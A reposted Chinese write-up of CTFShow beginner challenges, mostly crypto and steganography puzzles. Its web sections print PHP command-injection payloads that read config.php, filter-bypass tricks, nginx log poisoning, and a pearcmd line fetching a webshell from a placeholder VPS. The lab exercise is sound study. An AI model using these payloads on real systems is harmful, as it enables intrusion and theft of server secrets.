CTFShow“萌心区“WP题解

admin 2022年3月24日23:05:23CTFShow“萌心区“WP题解已关闭评论181 views字数 6308阅读21分1秒阅读模式

目录


CTFSow网站

萌新区题目概览:

萌新区一共47题,本文带来前45题的详细WP,最后两道题等待更新。

0x01 萌新认证

这道题,就是普通签到题,加入群,查看群公告即可。

或者喊一声萌新码

注意:萌新码是从一个固定池里随机分配的,不是统一的;

 0x02:萌新_密码1:

 看到一大串字母和英文,看了一下,没有大于F的字母,应该是16进制,将这串字符串进行base16转换【16进制转字符串

解码后的字符串,凭感觉像base64编码,进行base64译码

 可以看到有{},而且有大写的K E Y;K和E正好一边一个,应该是栅栏密码

 得到最终的KEY

0x03.萌新_密码2:

 题目已经给出提示,这是经典的键盘密码:

得到KEY:fwy

KEY{fwy}

0x04.萌新_密码3:

将图中的字符串进行摩斯编码转换

摩斯密码在线翻译

得到

morse is cool but bacon is cooler mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm 

接下来进行培根密码转换:

但是培根密码是 A和B的字符串,所以我们将m替换为A,d替换为b。可以复制到文本文档中,ctrf+f,查找替换。

最终得到:

AABBABABAAABBBABABBAAAAAAABBABAABBA

培根密码

 解码后得到,guowang

提示1:flag{GUOWANG}要大写

提示2:培根密码有两种码表,一种不区分IJ和UV,另一种区分,所以你有可能得到如下结果。

0x05.萌新_隐写2:

 得到提示:

 那么密码应该是:199xxxxx

下面进行暴力破解压缩包密码:

选中要爆破的压缩包,点击next

选择暴力破解,然后next

字符集选择“数字”,最小最大长度选择8,起始密码19900101,然后点击next

 点击开始

 瞬间爆破出压缩包的密码是:19981000

 输入密码

得到flag

0x06: 萌新_隐写4:

 下载附件,得到一个doc

 打开一看,是一张图片

方法一:

 直接将后缀名doc修改为txt,然后打开txt,就可以看到flag。

方法二:

 将doc文档放到winhex工具当中

 搜索-->查找文本

搜索f

 得到flag

 方法三:

文件-->选项

 打开“隐藏文字”

 可以看到flag

0x07:萌新 密码#4

提示比base64还大的base,那就是base85了。

先进行base64解码

然后再进行base85解码:

我们可以看到flag缺失了一块,有些base64解码能写成<,有些不能,正确的应该是Ao(mgHX^E)ARAnTF(J]f@<6".

这下可以得到完整的flag。

0x08:萌新_隐写3:

 这道题比较简单,打开图片,直接可以看到flag

 0x09:杂项1:

md5在线解密

然后helloctf-ctf=hello,得到flag

 0x0A:杂项2:

下载图片,我们得到的是一张png图片。

方法一:

将图片放入winhex中,搜索字符f

方法二:

将png重命名成txt,然后打开txt

  0x0B:杂项3:

密码是6位数,题目提示 971001 ,5,经过尝试

 0x0C:杂项4:

是一道暴力破解的题目,分别用俩种工具进行暴力破破解得到密码,372619038

然后用得到的密码去解压压缩包,得到flag。

 0x0D:杂项5: 

打开附件,是一个txt文档

百度翻译一下,没得到什么有用的信息,也没看到什么类似编码的东西。

但是仔细观察一下,发现有{}

 里面的字母有大写有小写,猜测flag应该是大写字母的拼接

flag{CTFSHOWNB}

 0x0E:杂项6:  

根据提示,压缩包是伪密码,将504B0102 后面几个字节的09改为00

压缩包就可以直接解压,得到密码

  0x0F:杂项7:

 打开图片,发现图片高度缺少了一些东西,根据题目的提示应该是需要延长高度,查阅资料得

(9条消息) CTF show 萌新区解题报告 (二)_Vayn3的博客-CSDN博客

png格式,从第二行开始,前四个字节代表宽度,后四个代表高度

 将原来的0185修改为0285,这样就可以看到flag信息

0x10: 杂项8

下载附件,得到一张图片

 查了一些资料,得知此题与CRC校验有关,附上找到的代码

  1. with open(filename, 'rb') as f:

  2. data = bytearray(all_b[12:29])

  3. width = bytearray(struct.pack('>i', w))

  4. for h in range(n):

  5. height = bytearray(struct.pack('>i', h))

  6. for x in range(4):

  7. data[x+4] = width[x]

  8. data[x+8] = height[x]

  9. crc32result = zlib.crc32(data)

  10. if crc32result == 0x91918666:

  11. print("宽为:", width, int.from_bytes(width, byteorder='big'))

  12. print("高为:", height, int.from_bytes(height, byteorder='big'))

 将这个py脚本与图片放在同一个路径下,在py3的环境中运行,得到宽和高。

 将得到的宽和高分别转换成16进制

 然后在winhex中,将原本的宽修改为020c

 保存退出,就得到了flag

 0x11: 杂项10

这个意思就是摘掉眼镜,看字母轮廓

 flag{我好喜欢你}

0x12:杂项11

下载附件,是一张图

这道题,题目给了一个工具JPHS,然后我们就用这个工具看有没有隐藏信息。

使用方法:

首先用JPHS打开这个bp.jpg

 然后点击seek,点击ok

 将提取出来的文件,重命名为bp.txt

 然后打开这个文本文档,发现是乱码,但是还是看出一些有用的信息,文本文档头显示什么NG,怀疑可能是PNG格式的图片文件。

将txt重命名成png,发现是一张二维码图片,然后用QR Research工具扫描一下图片,发现内容像base64编码

 然后进行base64解码,得到flag

 0x13:隐写1

 下载附件,是一张图片,但是打开发现报错

 放到winhex中看一下

 发现PNG格式头有问题

 修改一下PNG的头

图片可以正确打开,并且看到了flag.

  0x14:隐写2

下载附件,是一张图片

 放到JPHS当中看一下,保存,就得到flag

   0x15:隐写5

下载附件,打开

将中文进行unicode编码

然后进行base16转换【16进制转字符串】 

 看起来像是base系列的编码,尝试了一下,发现是base32编码

 0x16:隐写6

解压发现是一个音频文件

用audacity打开,发现一串类似摩斯电码的音波

 长音波用-代替,短音波用.代替,得到

-- ..- --.. .. -.- .. ... --. ----- ----- -..

  0x17:web1

关键代码如下:按照题目的意思id=1000,才显示flag,但是当id大于999的时候就退出了。

  1. if(intval($id) > 999){

  2. # id 大于 999 直接退出并返回错误

 举个例子:

所以我们需要绕过intval函数

(9条消息) CTF show 萌新区解题报告 (三)_Vayn3的博客-CSDN博客

查阅了资料发现

  1. intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0;

 所以我们可以采取以下方法绕过

单引号绕过:

http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id='1000'

相乘绕过:

http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=100*10

16进制绕过:

http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=0x3e8

二进制绕过:

http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=0b1111101000

二次去反绕过:

http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=~~1000

逻辑或绕过:?id=999 or id=1000

/?id=999 || id=1000

 ?id=999- -1  相减得1000绕过

 ?id=500/(0.5) 相除绕过

/?id=500<<1 左移绕过

 /?id="1000" 字符串绕过

 ?id=328^672 异或绕过

   0x18:web2

发现跟之前相比,多做了一些过滤,但是经过尝试发现100*10,二进制,16进制,~~1000,‘1000’都可以绕过

  1.         $id $_GET['id'];

  2.     if(preg_match("/or|\+/i",$id)){

  3.             die("id error");

  4.     if(intval($id) > 999){

  5.         # id 大于 999 直接退出并返回错误 

0x19:web3

可以看到过滤了更多的东西,把16进制给过滤了

  1. $id = $_GET['id'];

  2. if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){

  3. die("id error");

 0x1a:web4

 过滤了更多的东西,经过测试发现,16进制和乘号被过滤,二进制,单引号,二次去反没有被过滤

  1. $id = $_GET['id'];

  2. if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){

  3. die("id error");

0x1b:web5

过滤代码

  1. $id = $_GET['id'];

  2. if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){

  3. die("id error");

 通过二次~~,绕过,获得flag

 0x1c:web6

过滤的字符代码:

  1. $id = $_GET['id'];

  2. if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){

  3. die("id error");

老方法: 二次去反和二进制绕过

  0x1d:web7

 本题将~过滤

  1.         $id = $_GET['id'];

  2.     if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){

  3.             die("id error");

 0x1e:web8

 这是一个脑洞题,暗示阿呆rm rf删库跑路。

 参考链接:

http://t.csdn.cn/0TN9C

 0x1f:web9

可以看到这是一个命令执行的web题,如果匹配了参数,就会执行命令

 方法一:尝试用highlight_file

/?c=highlight_file('config.php');

 方法二:尝试使用system

/?c=system(%22cat%20config.php%22);

方法三:尝试使用shell_exec,不知道为啥没有回显

  0x20:web10

 图中对一些命令执行函数做了过滤

 方法一:使用passthru函数

?c=passthru(%22cat%20config.php%22);

 方法二:函数字符串拼接

c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

  0x21:web11

 题目对cat命令进行过滤,但是linux当中还有很多显示文本的命令。

?c=passthru(%22tac%20config.php%22);

?c=passthru(%22more%20config.php%22);

?c=passthru(%22less%20config.php%22);

?c=passthru(%22head%20config.php%22);

?c=passthru(%22tail%20config.php%22);

?c=passthru(%22nl%20config.php%22);

?c=passthru(%22sort%20config.php%22);

?c=passthru(%22uniq%20config.php%22);

c=passthru(%22ca%27%27t%20config.php%22);

?c=passthru(%22ca\t%20config.php%22);

0x22:web12

题目又对config和php进行过滤,可以base64编码绕过

 ?c=$a=base64_decode(%22c3lzdGVt%22);$b=base64_decode(%22Y2F0IGNvbmZpZy5waHA=%22);$a($b);

 0x23:web13

 题目又对分号进行了过滤

 ?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?%3E

0x24:web14

 题目对括号进行了过滤

方法一:

 ?c=include$_GET[%27a%27]?%3E&a=php://filter/read=convert.base64-encode/resource=config.php

进行base64解码

 方法二:

?c=echo%20`$_REQUEST[a]`?%3E&a=cat%20config.php

 0x25:web15

 题目又对等于号进行了过滤

 继续沿用上面的绕过语句

include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

  0x26:web16

 题目将c的参数和ctfshow拼接在一起生成了一个md5

 解析这个md5

 然后c的取值减去ctfshow

 0x27:web17-web21通解

nginx日志包含

在GET请求当中 /?c=/var/log/nginx/access.log

User-Agent当中包含命令,查看当前路径下的文件,发现有36d.php

 将36d.php的内容高亮

 参考的大佬思路:

1.

 2.

​​​​​​(9条消息) ctfshow萌新区web1~21_墨子轩、的博客-CSDN博客_ctfshow萌新web

提示:日志包含的话,不能有语法错误,错一次就得重开环境

 0x28:web22

 看不懂,但是很震撼。。。。

 解决方案:

在VPS上运行简易http服务

写一个一句话木马:

 ?c=pearcmd&+download+http://A.B.C.D:6666/shell.php

 执行命令

 得到flag

参考链接:

http://t.csdn.cn/c7FC4

http://t.csdn.cn/Tg50O

 0x29:获得百分之百的快乐

可以看到对输入参数的长度进行了限制

 测试一下

解决方法:

?1=>nl

?1=ls

?1=*  得到flag

 原理:【CTF 攻略】如何绕过四个字符限制getshell - 安全客,安全资讯平台

  0x2a:web23 web24

不会。。。。 请等待更新

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月24日23:05:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFShow“萌心区“WP题解https://cn-sec.com/archives/840523.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.